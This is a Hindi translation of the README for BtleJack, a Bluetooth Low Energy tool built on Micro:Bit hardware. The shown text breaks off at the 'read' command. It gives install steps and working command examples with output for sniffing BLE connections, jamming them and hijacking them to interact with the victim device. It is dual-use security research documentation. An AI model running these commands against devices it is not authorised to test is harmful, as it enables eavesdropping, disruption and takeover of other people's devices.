
ब्लूटूथ लो एनर्जी स्विस-आर्मी चाकू
BtleJack: एक नया ब्लूटूथ लो एनर्जी स्विस-आर्मी चाकू #######################################################
Btlejack आपको ब्लूटूथ लो एनर्जी उपकरणों को सूँघने, जैम करने और हाईजैक करने के लिए आवश्यक सब कुछ प्रदान करता है। यह एक या अधिक BBC Micro:Bit <http://microbit.org/>_ उपकरणों पर निर्भर करता है जो एक समर्पित फर्मवेयर चलाते हैं। आप एक Adafruit's Bluefruit LE sniffer <https://www.adafruit.com/product/2269>_ या एक nRF51822 Eval Kit <https://www.waveshare.com/wiki/BLE400>_ का भी उपयोग करना चाह सकते हैं, क्योंकि हमने इन उपकरणों के लिए समर्थन जोड़ा है।
इस उपकरण का वर्तमान संस्करण (2.0) BLE 4.x और 5.x का समर्थन करता है। BLE 5.x का समर्थन सीमित है, क्योंकि यह केवल 1Mbps अनकोडेड PHY का समर्थन करता है और चैनल मैप अपडेट का समर्थन नहीं करता है।
आपको एक UNIX आधारित सिस्टम (उदाहरण के लिए एक Raspberry Pi) की आवश्यकता है। यदि आप BBC Micro:Bit का उपयोग करते हैं, तो आपको एक से तीन Micro:Bit उपकरणों (तीन उपकरण अनुशंसित) और प्रत्येक उपकरण के लिए एक मुफ्त USB पोर्ट की आवश्यकता होगी। Micro:Bit की बिजली खपत काफी कम है, इसलिए आप तीन अनुशंसित इकाइयों को बिजली देने के लिए एक एकल USB पोर्ट और एक निष्क्रिय हब का उपयोग कर सकते हैं।
यदि आप एक ही समय में अपने कंप्यूटर पर 3 माइक्रोबिट कनेक्ट करते हैं, तो Btlejack हर विज्ञापन चैनल पर सूँघने में सक्षम होगा और कनेक्शन अनुरोध को पकड़ने की अधिक संभावना होगी।
पहले, Pip के साथ btlejack Python3 क्लाइंट सॉफ़्टवेयर स्थापित करें:
::
$ sudo pip3 install btlejack
फिर, अपने Micro:Bit उपकरण को USB केबल से अपने कंप्यूटर से कनेक्ट करें, संबद्ध मास स्टोरेज डिवाइस को माउंट करें (माउंट पॉइंट में MICROBIT होना चाहिए), और निम्नलिखित कमांड जारी करें:
::
$ btlejack -i
यह आपके कंप्यूटर से जुड़े प्रत्येक Micro:Bit डिवाइस को प्रोग्राम करेगा, और उन्हें Btlejack के साथ उपयोग करने के लिए तैयार करेगा। यह वर्तमान क्लाइंट सॉफ़्टवेयर के लिए सही फर्मवेयर संस्करण का उपयोग करेगा, इसलिए हर बार जब आप Btlejack अपडेट करते हैं तो इस फर्मवेयर स्थापना प्रक्रिया को करने की अत्यधिक अनुशंसा की जाती है।
यदि आप एक Bluefruit LE sniffer या एक nRF51822 Eval Kit का उपयोग कर रहे हैं, तो कृपया अपने डिवाइस को इस फर्मवेयर <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_ के साथ फ्लैश करने के लिए एक बाहरी SWD प्रोग्रामर का उपयोग करें।
अपने डिवाइस को कनेक्टेड रखें और आप सब तैयार हैं!
नोट यह केवल posix संगत सिस्टम पर काम करता है।
Btlejack का उपयोग करना काफी आसान है। Btlejack निम्नलिखित कर सकता है:
Btlejack सामान्यतः कनेक्टेड संगत डिवाइसों का स्वतः पता लगाने और उपयोग करने का प्रयास करता है (फिलहाल केवल Micro:Bit), लेकिन चूंकि फर्मवेयर को हैक या संशोधित किया जा सकता है ताकि अन्य nRF51822-आधारित बोर्डों के साथ काम कर सके, यह इन डिवाइसों के साथ संगतता की अनुमति देने के लिए एक विशिष्ट विकल्प प्रदान करता है।
-d विकल्प आपको Btlejack के साथ एक या अधिक डिवाइस निर्दिष्ट करने देता है। ध्यान दें कि यह विकल्प डिवाइसों का स्वतः पता लगाना अक्षम कर देगा, और आपको जितनी आवश्यकता हो उतने डिवाइस जोड़ने चाहिए:
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
पहले, btlejack के साथ लक्षित करने के लिए एक मौजूदा कनेक्शन खोजें:
::
$ btlejack -s BtleJack version 1.1
[i] Enumerating existing connections ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2
पहला मान (dBm में) सिग्नल की शक्ति दर्शाता है, यह मान जितना अधिक होगा, सूँघा गया कनेक्शन उतना ही बेहतर होगा।
दूसरा मान (हेक्स) संबंधित एक्सेस एड्रेस है, एक 32-बिट मान जो दो ब्लूटूथ लो एनर्जी संगत डिवाइसों के बीच एक लिंक की पहचान करता है।
अंतिम मान इस एक्सेस एड्रेस के साथ देखे गए पैकेटों की संख्या है। यह मान जितना अधिक होगा, संबंधित एक्सेस एड्रेस के उपयोग की संभावना उतनी ही अधिक होगी।
फिर, किसी विशिष्ट कनेक्शन का अनुसरण करने के लिए -f विकल्प का उपयोग करें:
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronized, packet capture in progress ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70
यदि आप 1 से अधिक माइक्रोबिट का उपयोग कर रहे हैं, तो Btlejack कनेक्शन मापदंडों की पुनर्प्राप्ति में तेजी लाने के लिए कुछ सूँघने के कार्यों को समानांतर करेगा!
btlejack द्वारा समर्थित -c विकल्प आपको लक्ष्य BD पता निर्दिष्ट करने देता है, या आप किसी भी नए कनेक्शन को कैप्चर करने के लिए any का उपयोग कर सकते हैं।
::
$ btlejack -c any BtleJack version 1.1
[i] Detected sniffers:
Sniffer #0: version 1.1 Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] Got CONNECT_REQ packet from 55:c5:95:6f:b4:df to 40:23:99:f6:0a:c0 |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07
या आप लक्ष्य BD पता भी निर्दिष्ट कर सकते हैं:
::
$ btlejack -c 03:e1:f0:00:11:22
एक बार किसी कनेक्शन को उसके एक्सेस एड्रेस द्वारा पहचान लिए जाने पर, आप -j विकल्प का उपयोग करके इसे जैम कर सकते हैं:
::
$ btlejack -f 0x129f3244 -j̀
Btlejack एक मौजूदा कनेक्शन को हाईजैक करने में भी सक्षम है, ऐसा करने के लिए -t विकल्प का उपयोग करें। एक बार हाईजैक होने पर, Btlejack आपको एक प्रॉम्प्ट देगा जो आपको हाईजैक किए गए डिवाइस के साथ इंटरैक्ट करने की अनुमति देता है।
पहले, एक मौजूदा कनेक्शन को हाईजैक करें:
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Using cached parameters (created on 2018-08-11 01:48:24) [i] Detected sniffers:
Sniffer #0: fw version 1.1
[i] Synchronizing with connection 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel map is provided: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronized, hijacking in progress ... [i] Connection successfully hijacked, it is all yours \o/ btlejack>
फिर डिवाइस के साथ इंटरैक्ट करने के लिए निम्नलिखित कमांड का उपयोग करें:
discover कमांड ^^^^^^^^^^^^^^^^^^
discover कमांड ब्लूटूथ LE पैकेट भेजेगा और प्राप्त करेगा और सभी सेवा UUID और पैरामीटर, साथ ही विशेषताओं के UUID और पैरामीटर प्राप्त करेगा:
::
btlejack> discover start: 0001 end: 0005 start: 0014 end: 001a start: 0028 end: ffff Discovered services: Service UUID: 1801 Characteristic UUID: 2a05 | handle: 0002 | properties: indicate (20) \ value handle: 0003
Service UUID: 1800 Characteristic UUID: 2a04 | handle: 0019 | properties: read (02) \ value handle: 001a
Characteristic UUID: 2a00 | handle: 0015 | properties: read (02) \ value handle: 0016
Characteristic UUID: 2a01 | handle: 0017 | properties: read (02) \ value handle: 0018
Service UUID: 1824 Characteristic UUID: 2abc | handle: 0029 | properties: write indicate (28) \ value handle: 002a
read कमांड ^^^^^^^^^^^^^^